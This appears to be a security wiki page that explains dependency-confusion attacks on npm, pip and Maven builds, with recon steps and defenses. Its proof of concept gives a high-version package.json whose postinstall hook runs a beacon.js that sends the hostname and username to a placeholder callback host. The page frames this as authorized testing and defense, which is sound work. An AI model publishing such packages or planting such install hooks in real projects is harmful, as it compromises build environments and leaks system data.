Dependency Confusion
Hijack software supply chains by publishing public packages that shadow private internal package names across npm, pip, Maven, and friends.
Dependency Confusion
Dependency confusion (also called substitution or namesquatting) is a supply-chain attack that abuses how package managers resolve a single dependency name when more than one registry could satisfy it. If a build pulls from both a private/internal registry and a public registry (npmjs.com, PyPI, Maven Central) and an attacker publishes a public package with the same name and a higher version, the resolver may pick the attacker's package and execute its install scripts inside the target's build environment.
The technique was popularized by Alex Birsan's 2021 research, which breached Apple, Microsoft, Tesla, and dozens of others purely by uploading look-alike packages to public registries.
Responsible use / CTF framing
Only ever publish or claim package names you are authorized to test, or names scoped to a challenge you have been given. Publishing a malicious package under a real company's internal name to the live public registry is a crime, not a CTF. In CTFs the "internal registry" and "victim build" are part of the challenge infrastructure — keep payloads to a harmless callback (an HTTP/DNS beacon), never destructive code.
Why Resolution Goes Wrong
A dependency name like acme-internal-utils is just a string. The danger appears
when the same string can be served by two registries and the resolver has no
way to know which one you meant. Three resolver behaviors combine to make the
attack work:
- Multiple sources, one namespace. The client is configured to consult both the internal registry and the public default. An unscoped name belongs to no one in particular, so both are queried.
- Highest-version-wins. Most resolvers, given a range like
^1.2.3, fetch the newest matching version across all configured sources. The attacker simply publishes99.99.99publicly to outrank any internal release. - Silent fallback. If the internal registry 404s a name (or the request races), the public hit is used without warning.
package.json says: "acme-internal-utils": "^1.0.0"
internal registry → acme-internal-utils 1.4.2 (the real one)
public registry → acme-internal-utils 99.99.99 (attacker's)
^ higher version wins → installedThe bug is configuration, not the registry
Public registries behaving exactly as designed (serve the highest version of a requested name) is fine. The vulnerability is a build that mixes trusted and untrusted sources for the same flat namespace. Authoritative background: Birsan's writeup and OWASP's Software & Data Integrity Failures.
How Each Ecosystem Resolves
The attack surface differs by package manager. Know which knobs decide the winner.
- Unscoped names (
acme-utils) are vulnerable: npm queries the configured registry, and a public package with a higher version can shadow an internal one if the resolver ever reaches the public registry. - Scoped names (
@acme/utils) are the defense: a.npmrcmapping pins the whole@acmescope to the private registry, so npm never looks publicly. npm installruns lifecycle scripts (preinstall,install,postinstall) by default — code execution happens at install time, not import time.
# .npmrc — scope pinning (the fix)
@acme:registry=https://npm.internal.acme.corp/
//npm.internal.acme.corp/:_authToken=${TOKEN}Finding Internal Package Names
You cannot squat a name you do not know. Recon for internal identifiers that accidentally leak into public artifacts.
Leaked manifests. Search public repos, paste sites, and Docker image layers
for package.json, requirements.txt, pom.xml, .npmrc, yarn.lock, or
pip.conf containing names that are absent from the public registry — those are
likely internal.
Frontend source maps & bundles. A JS bundle or .js.map shipped to the
browser often lists every module path. Pull names that look organisation-specific
(acme-auth-sdk, acme-ui-core) and check if they exist publicly.
Public-vs-private diff. For each candidate name, query the public registry. A name that 404s publicly but is clearly referenced in the target's code is a prime squatting target.
npm view acme-internal-utils # 404 publicly == claimable name
pip index versions acme-internal # nothing on PyPI == candidateCI / error leaks. Build logs, stack traces, and verbose error pages frequently print full dependency names and even registry URLs.
Confirm before you claim
In a CTF, the challenge usually tells you (or strongly hints) the internal name and points your build at a registry it controls. Outside a CTF, claiming a name on a real public registry is itself the harmful act — recon stops at knowing the name.
Proof of Concept
The proof you need is a callback, not damage. Publish (to the controlled registry) a package whose install lifecycle beacons out with low-sensitivity environment metadata so you can prove execution.
// package.json — version high enough to win resolution
{
"name": "acme-internal-utils",
"version": "99.99.99",
"scripts": { "postinstall": "node beacon.js" }
}// beacon.js — HARMLESS callback only: prove code ran, no data theft
const https = require("https");
const os = require("os");
const id = `${os.hostname()}.${os.userInfo().username}`;
// DNS/HTTP beacon to a host you control (Burp Collaborator, webhook.site)
https.get(`https://YOUR-CALLBACK/dc?h=${encodeURIComponent(id)}`);Why callback-only
Exfiltrating real secrets, modifying files, or persisting is out of scope for a
PoC and turns a finding into an incident. hostname + username over
an OOB channel demonstrates execution with minimal blast radius.
Defenses
Checklist
- Does the build resolve dependencies from both a private and a public registry?
- Are any internal package names unscoped (flat namespace)?
- Recon leaked manifests, source maps, Docker layers, and CI logs for internal names.
- For each candidate, confirm it 404s on the public registry (claimable).
- Confirm the resolver uses highest-version-wins across sources.
- Build a harmless callback PoC (DNS/HTTP beacon in
postinstall/setup.py). - Publish only to an authorized/controlled registry; never weaponize on a live public one.
- Verify defenses: scopes, single private proxy, lockfiles + hashes, placeholder registrations.
See Also
- Prototype Pollution — another JavaScript supply-chain / shared-state class
- Deserialization — install-time and load-time code execution sinks
- Recon — discovering manifests, source maps, and leaked internal names
- HTTP Request Smuggling — another infrastructure-level desync attack
Last updated on